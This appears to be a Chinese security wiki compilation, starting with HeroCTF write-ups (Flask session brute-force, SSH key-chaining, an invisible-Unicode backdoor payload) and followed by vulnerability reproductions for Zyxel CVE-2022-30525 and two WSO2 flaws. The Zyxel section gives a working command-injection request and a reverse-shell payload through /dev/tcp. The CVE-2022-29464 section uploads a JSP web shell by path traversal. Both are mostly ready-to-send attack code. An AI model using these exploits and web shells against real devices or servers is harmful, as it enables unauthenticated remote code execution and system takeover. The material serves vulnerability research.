                menu = "dashboard"
            else:
                1/0
        except:
            print("An error has occured, enter only 1 or 2")
            input("Press enter to continue...")
        clear()
    elif menu == "transfer":
        print("=== Transfer Protocol ===")
        print()
        print("How much do you want to transfer the bank ?")
        try:
            amount = int(input(">> "))
            if ctf_player.wireMoney(amount, BANK):
                print("Transfer completed !")
            menu = "dashboard"
            input("Press enter to continue...")
        except:
            print("You have to enter an integer")
            input("Press enter to continue...")
        clear()

连接后发现购买 Flag需要 100, 关注函数 wireMoney 这里我们传入负数就可以额外获取 Money

def wireMoney(self, amount, receiver):
        if amount > self.balance:
            print("[!] DEBUG MESSAGE : You don't have enough money on your account to make this transfer")
            return False
        else:
            self.balance -= amount
            receiver.balance += amount
            return True

SSHs

创建环境后登陆第一个用户

下载下来看一下这个 ELF文件读取的是谁的 sshkey

看到是 user2 的 id_rsa SSH密钥文件，使用这个文件可以登陆 user2 用户, 而user2 用户下 getSSHKey 读取的是 user3 的 id_rsa看一下一共多少个用户

一共有250个用户， 编写脚本SSH密钥登陆后执行 getSSHKey 获取下一个用户的SSH密钥，登陆后重复上一个动作

# -*- coding: utf-8 -*-
import paramiko
# 请求服务器获取信息
def user1_login():
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('chall.heroctf.fr', 10073, 'user1', 'password123')
    stdin, stdout, stderr = ssh.exec_command('./getSSHKey')
    getkey = stdout.read().decode('utf-8')
    with open("id_rsa_user1", "w", encoding="utf-8") as file:
        file.write(getkey)
    ssh.close()
def userkeylogin():
    ssh = paramiko.SSHClient()
    for i in range(1,251):
        user_num = "id_rsa_user" + str(i)
        user_ssh = "user" + str(i+1)
        user_id_rsa = "id_rsa_user" + str(i+1)
        private_key = paramiko.RSAKey.from_private_key_file(user_num)
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect('chall.heroctf.fr', 10073, user_ssh, pkey=private_key)
        stdin, stdout, stderr = ssh.exec_command('./getSSHKey')
        getkey = stdout.read().decode('utf-8')
        with open(user_id_rsa, "w", encoding="utf-8") as file:
            print("Login " + user_ssh)
            file.write(getkey)
        ssh.close()
if __name__ == '__main__':
    user1_login()
    userkeylogin()

最后拿着最后一个密钥，登陆 user250 获取 Flag

Web

SmallMistakeBigMistake

下载源码文件

#!/usr/bin/env python
from flask import Flask, session, render_template
from string import hexdigits
from random import choice
from os import getenv
app = Flask(__name__)
app.secret_key = choice(hexdigits) * 32
@app.route("/", methods=["GET"])
def index():
    flag = "You are not admin !"
    if session and session["username"] == "admin":
        flag = getenv("FLAG")
    return render_template("index.html", flag=flag)
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=int(getenv("PORT")))

访问题目主页

根据源代码看到 app.secret_key 随机性不高，有被爆破的可能性，可以使用工具 flask-session-cookie-manager  根据 {'username':'admin'} 生成 session

编写一个爆破脚本获取正确的 session

import requests
import os
keyword = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
for i in keyword:
    cmd = "python3 flask_session_cookie_manager3.py encode -s '%s' -t \"{'username':'admin'}\"" % (str(i) * 32)
    cookie = os.popen(cmd).read().replace('\n','')
    
    url = "https://smallbigmistake.web.heroctf.fr"
    headers = {
        "Cookie":"cf_clearance=RdAID0fnei6cUFk3YOkDuN91.oSzdCrqd5bPpVRxWQY-1653698340-0-150; __cf_bm=zp1l_dp7UbyemULS4vJ7c7Wi5aEf8KHQRXgi7Ox2tdg-1653745587-0-AZWHPu1+yDLp98WQWTlpgy/XvT2cRl8c62j2yy7ZNcp0zH7wRJ9vQy0OungQy5+I0OIYhd8CdOXLEeiM9U1ggAR+/uM/ThSfFawlDZwxfw+v0/Ph7vBlTE+QAcpriuQlzA==;session=" + cookie
    }
    resp = requests.get(url, headers=headers, timeout=5)
    print(len(resp.text),cookie)

$ where backdoor

在目标站点下载源码

根据提示 server.js 含有后门，Vscode调整 UTF-8 为 CP437 可以看到后门字符

# %E3%85%A4 -> \u3164 是不可见的 Unicode 代码
# https://certitude.consulting/blog/en/invisible-backdoor/
/server_health?timeout=1000000&%E3%85%A4=id;cat%20../flag.txt

Crypto

Poly321

下载加密代码

#!/usr/bin/env python3
FLAG = "****************************"
enc = []
for c in FLAG:
    v = ord(c)
    enc.append(
        v + pow(v, 2) + pow(v, 3)
    )
print(enc)
"""
$ python3 encrypt.py
[378504, 1040603, 1494654, 1380063, 1876119, 1574468, 1135784, 1168755, 1534215, 866495, 1168755, 1534215, 866495, 1657074, 1040603, 1494654, 1786323, 866495, 1699439, 1040603, 922179, 1236599, 866495, 1040603, 1343210, 980199, 1494654, 1786323, 1417584, 1574468, 1168755, 1380063, 1343210, 866495, 188499, 127550, 178808, 135303, 151739, 127550, 112944, 178808, 1968875]
"""

根据源码中的逻辑编写爆破脚本

flag_encode = [378504, 1040603, 1494654, 1380063, 1876119, 1574468, 1135784, 1168755, 1534215, 866495, 1168755, 1534215, 866495, 1657074, 1040603, 1494654, 1786323, 866495, 1699439, 1040603, 922179, 1236599, 866495, 1040603, 1343210, 980199, 1494654, 1786323, 1417584, 1574468, 1168755, 1380063, 1343210, 866495, 188499, 127550, 178808, 135303, 151739, 127550, 112944, 178808, 1968875]
ascii_str = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}_"
FLAG = ""
for i in flag_encode:
    for c in ascii_str:
        v = ord(c)
        pow_encode = v + pow(v, 2) + pow(v, 3)
        if i == pow_encode:
            FLAG = FLAG + c
            break
print(FLAG)

漏洞描述

Rapid7 发现并报告了一个漏洞，该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙，其中包括 ATP 系列、VPN 系列和 USG FLEX 系列（包括 USG20-VPN 和 USG20W-VPN）。该漏洞标识为 CVE-2022-30525，允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。

漏洞影响

USG FLEX 100、100W、200、500、700  < ZLD5.00 - ZLD5.21 补丁 1

USG20-VPN、USG20W-VPN < ZLD5.10 - ZLD5.21 补丁 1

ATP 100、200、500、700、800  < ZLD5.10 - ZLD5.21 补丁 1

漏洞复现

登录页面

出现漏洞的文件为 lib_wan_settings.py 下的 setWanPortSt 方法

def setWanPortSt(req):
    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()
    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
    
    cmdLine = ''
    GUIportst = {}
    
    extname = findextname(port)
    #TODO: subprocess method
    try:
        if vlan_tagged == '1':
            if vlanid == '':
                vlanid == '0'
        if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "static":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            prefix_length = netmask_to_cidr(data['netmask'])
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' ' + data['firstDnsServer']
            if 'secondDnsServer' in data:
                cmdLine += ' ' + data['secondDnsServer']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "pppoe":
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
            #extname = findextname(port)
            if 'auth_type' not in data:
                data['auth_type'] = 'chap-pap'
            if 'mtu' not in req:
                req['mtu'] = '1492'
            if 'ipaddr' not in data:
                data['ipaddr'] = '0.0.0.0'
            if 'gateway' not in data:
                data['gateway'] = '0.0.0.0'
            if 'firstDnsServer' not in data:
                data['firstDnsServer'] = '0.0.0.0'
            cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \
                + ' ' + data['auth_type'] \
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] \
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' >/dev/null 2>&1'
            
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag", "w") as fout:
            fout.write("1");
        response = os.system(cmdLine) 
        logging.info(response)
        if response != 256:
            logging.info("cmd thread return error")
            reply = {"error": 500}
        else:
            logging.info("cmd success!!")
            reply["stdout"] = [{}]
            reply["stderr"] =""
            with open(WAN_PORT_LAST_CHANGED, "w") as fout:
                fout.write(port)
            if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
                reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
            with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
                fout.write(port + ' ')
            
    except Exception as e:
        reply = {"error": 500, "exception": e}
   
    return reply

从源码里可以看到拼接的参数为 mtu , 随后直接 os.system 命令执行

验证POC

POST /ztp/cgi-bin/handler HTTP/1.1
Host: 
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl `id`.c9y7h342vtc00002dwxggr9tukwyyyyyj.interact.sh;","data":"hi"}

反弹Shell

POST /ztp/cgi-bin/handler HTTP/1.1
Host: 
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1';","data":"hi"}

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

漏洞描述

滥用 shindig Web 应用程序的 UI 小工具加载功能可以利用此漏洞。攻击者可以更改请求中的特定 URL，从而导致服务器向更改后的 URL 发起 GET 请求。通过利用此漏洞，攻击者可以使用服务器执行任意外部服务交互。这可以特别用于与内部网络的节点进行交互，否则这些节点会被网络规则隐藏在外部。攻击者可以利用它来追踪和侦察网络，除此之外，如果有内部端点对 GET 请求进行状态更改操作，那么就有可能很好地破坏它们的完整性。根据端点实施的保护级别，此漏洞的影响可能会有所不同。

漏洞影响

WSO2 Identity Server  5.2.0 , 5.3.0 , 5.4.0 , 5.4.1 , 5.5.0 , 5.6.0 , 5.7.0

WSO2 IS as Key Manager  5.3.0 , 5.5.0 , 5.6.0 , 5.7.0

环境搭建

https://github.com/wso2/product-is/releases/download/v5.6.0-rc3/wso2is-5.6.0-rc3.zip

漏洞复现

根据官方描述，漏洞造成的原因主要是  shindig Web 应用程序的 UI 小工具的加载功能, WSO2-2019-0598

下载源码启动环境，在IDEA中调试,

根据官方描述，在全局搜索 shindig 相关代码

打下断点，看一下访问 /shindig/gadgets/js 路径时代码的调用流程

可以看到当访问此路径时，调用了对应的 Servlet 下的 doGet方法 来处理(org.apache.shindig.gadgets.servlet.JsServlet.doGet(JsServlet.java:86)

我们可以在文件 conf/shindig/web.xml 找到对应的调用方法

看到这我们注意到 org.apache.shindig.gadgets.servlet.MakeRequestServlet 似乎与  Jira未授权SSRF漏洞(CVE-2019-8451) 中存在的漏洞点十分的相似

但断点调试过程中，却发现这个点是利用失败的

只好去看一下其他的Servele , 最后我们注意到 ProxyServlet

发送请求包，打断点看一下处理流程

GET /shindig/gadgets/proxy?container=default&url=https://www.baidu.com HTTP/1.1
Host: localhost:9443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

通过 org.apache.shindig.gadgets.servlet.ProxyServlet 下的 doGet方法接收参数， 传入 processRequest

private void processRequest(HttpServletRequest request, HttpServletResponse servletResponse) throws IOException {
        if (request.getHeader("If-Modified-Since") != null) {
            servletResponse.setStatus(304);
        } else {
            Uri reqUri = (new UriBuilder(request)).toUri();
            HttpResponse response;
            try {
                ProxyUri proxyUri = this.proxyUriManager.process(reqUri);
                SecurityToken st = AuthInfoUtil.getSecurityTokenFromRequest(request);
                proxyUri.setSecurityToken(st);
                proxyUri.setUserAgent(request.getHeader("User-Agent"));
                if (proxyUri.getGadget() == null && st != null && !st.isAnonymous()) {
                    proxyUri.setGadget(st.getAppUrl());
                }
                AuthType authType = proxyUri.getAuthType();
                if (AuthType.OAUTH.equals(authType)) {
                    proxyUri.setOAuthArguments(new OAuthArguments(AuthType.OAUTH, request));
                } else if (AuthType.OAUTH2.equals(authType)) {
                    proxyUri.setOAuth2Arguments(new OAuth2Arguments(request));
                }
                String host = request.getHeader("Host");
                if (!this.lockedDomainService.isSafeForOpenProxy(host)) {
                    Uri resourceUri = proxyUri.getResource();
                    String msg = "Embed request for url " + (resourceUri != null ? resourceUri.toString() : "n/a") + " made to wrong domain " + host;
                    if (LOG.isLoggable(Level.INFO)) {
                        LOG.logp(Level.INFO, classname, "processRequest", "embededImgWrongDomain", new Object[]{resourceUri != null ? resourceUri.toString() : "n/a", host});
                    }
                    throw new GadgetException(Code.INVALID_PARAMETER, msg, 400);
                }
                if ("POST".equalsIgnoreCase(request.getMethod())) {
                    StringBuffer buffer = this.getPOSTContent(request);
                    response = this.proxyHandler.fetch(proxyUri, buffer.toString());
                } else {
                    response = this.proxyHandler.fetch(proxyUri);
                }
            } catch (GadgetException var11) {
                response = ServletUtil.errorResponse(new GadgetException(var11.getCode(), var11.getMessage(), 400));
            }
            ServletUtil.copyToServletResponseAndOverrideCacheHeaders(response, servletResponse);
        }
    }

向下跟进到org.apache.shindig.gadgets.servlet.ProxyHandler

org.apache.shindig.gadgets.servlet.ProxyHandler.fatch

接着向下看到 org.apache.shindig.gadgets.servlet.ProxyHandler 下的 buildHttpRequest 方法创建Http请求， 而目标就是我们刚刚传入的Url参数

 private HttpRequest buildHttpRequest(ProxyUri uriCtx, Uri tgt, @Nullable String postBody) throws GadgetException, IOException {
        ServletUtil.validateUrl(tgt);
        HttpRequest req = uriCtx.makeHttpRequest(tgt);
        req.setRewriteMimeType(uriCtx.getRewriteMimeType());
        if (postBody != null) {
            req.setMethod("POST");
            req.setPostBody(new ByteArrayInputStream(postBody.getBytes()));
        }
        if (req.getHeader("User-Agent") == null) {
            String userAgent = uriCtx.getUserAgent();
            if (userAgent != null) {
                req.setHeader("User-Agent", userAgent);
            }
        }
        return req;
    }

最后回显至页面中, 造成存在回显的SSRF

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

漏洞描述

CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传，允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE。

漏洞影响

环境搭建

https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip

漏洞复现

下载 releases 后进入 bin目录, 执行 api.manager.sh文件，并开启 debug 方便远程调试

打开 product-apim-4.0.0 ，下载依赖，连接Debug进行调试分析

运行后访问 localhost:9443 出现如下即搭建完成

在配置文件 identity.xml 中我们可以看到 路由 /fileupload 中不存在权限鉴定,  对应的 Servlet 为 FileUploadServlet

文件上传为POST请求，对应的处理方法为 doPost (org.wso2.carbon.ui.transports.FileUploadServlet#doPost)

protected void doPost(HttpServletRequest request,
                          HttpServletResponse response) throws ServletException, IOException {
        try {
            fileUploadExecutorManager.execute(request, response);
        } catch (Exception e) {
            String msg = "File upload failed ";
            log.error(msg, e);
            throw new ServletException(e);
        }
    }

继续向下，略过调用方法的过程

execute:55, ToolsAnyFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
executeGeneric:104, AbstractFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
execute:436, FileUploadExecutorManager$CarbonXmlFileUploadExecHandler (org.wso2.carbon.ui.transports.fileupload)
startExec:320, FileUploadExecutorManager$FileUploadExecutionHandlerManager (org.wso2.carbon.ui.transports.fileupload)
execute:127, FileUploadExecutorManager (org.wso2.carbon.ui.transports.fileupload)

最后来到出现漏洞的位置 org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor#execute

这里我们构造请求包，上传文件

POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="1.jsp"; filename="1.jsp"
<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

上传时文件名为 1.jsp，成功上传目标会返回 uuid 值, 调试过程中我们可以发现文件被上传在某个目录下

public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor {
 @Override
 public boolean execute(HttpServletRequest request,
   HttpServletResponse response) throws CarbonException, IOException {
  PrintWriter out = response.getWriter();
        try {
         Map fileResourceMap =
                (Map) configurationContext
                        .getProperty(ServerConstants.FILE_RESOURCE_MAP);
         if (fileResourceMap == null) {
          fileResourceMap = new TreeBidiMap();
          configurationContext.setProperty(ServerConstants.FILE_RESOURCE_MAP,
                                             fileResourceMap);
         }
            List<FileItemData> fileItems = getAllFileItems();
            //String filePaths = "";
            for (FileItemData fileItem : fileItems) {
                String uuid = String.valueOf(
                        System.currentTimeMillis() + Math.random());
                String serviceUploadDir =
                        configurationContext
                                .getProperty(ServerConstants.WORK_DIR) +
                                File.separator +
                                "extra" + File
                                .separator +
                                uuid + File.separator;
                File dir = new File(serviceUploadDir);
                if (!dir.exists()) {
                    dir.mkdirs();
                }
                File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
                try (FileOutputStream fileOutStream = new FileOutputStream(uploadedFile)) {
                    fileItem.getDataHandler().writeTo(fileOutStream);
                    fileOutStream.flush();
                }
                response.setContentType("text/plain; charset=utf-8");
                //filePaths = filePaths + uploadedFile.getAbsolutePath() + ",";
                fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());
                out.write(uuid);
            }
            //filePaths = filePaths.substring(0, filePaths.length() - 1);
            //out.write(filePaths);
            out.flush();
        } catch (Exception e) {
            log.error("File upload FAILED", e);
            out.write("<script type=\"text/javascript\">" +
                    "top.wso2.wsf.Util.alertWarning('File upload FAILED. File may be non-existent or invalid.');" +
                    "</script>");
        } finally {
            out.close();
        }
        return true;
 }
}

但文件名是我们可控的，拼接的过程中我们通过控制文件名遍历目录，将文件上传到我们需要的位置,  查找可以解析 jsp文件的目录

构造请求包，通过控制文件名的方法上传至该目录中

POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

访问上传的文件，/authenticationendpoint/xxx.jsp?cmd=ls

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book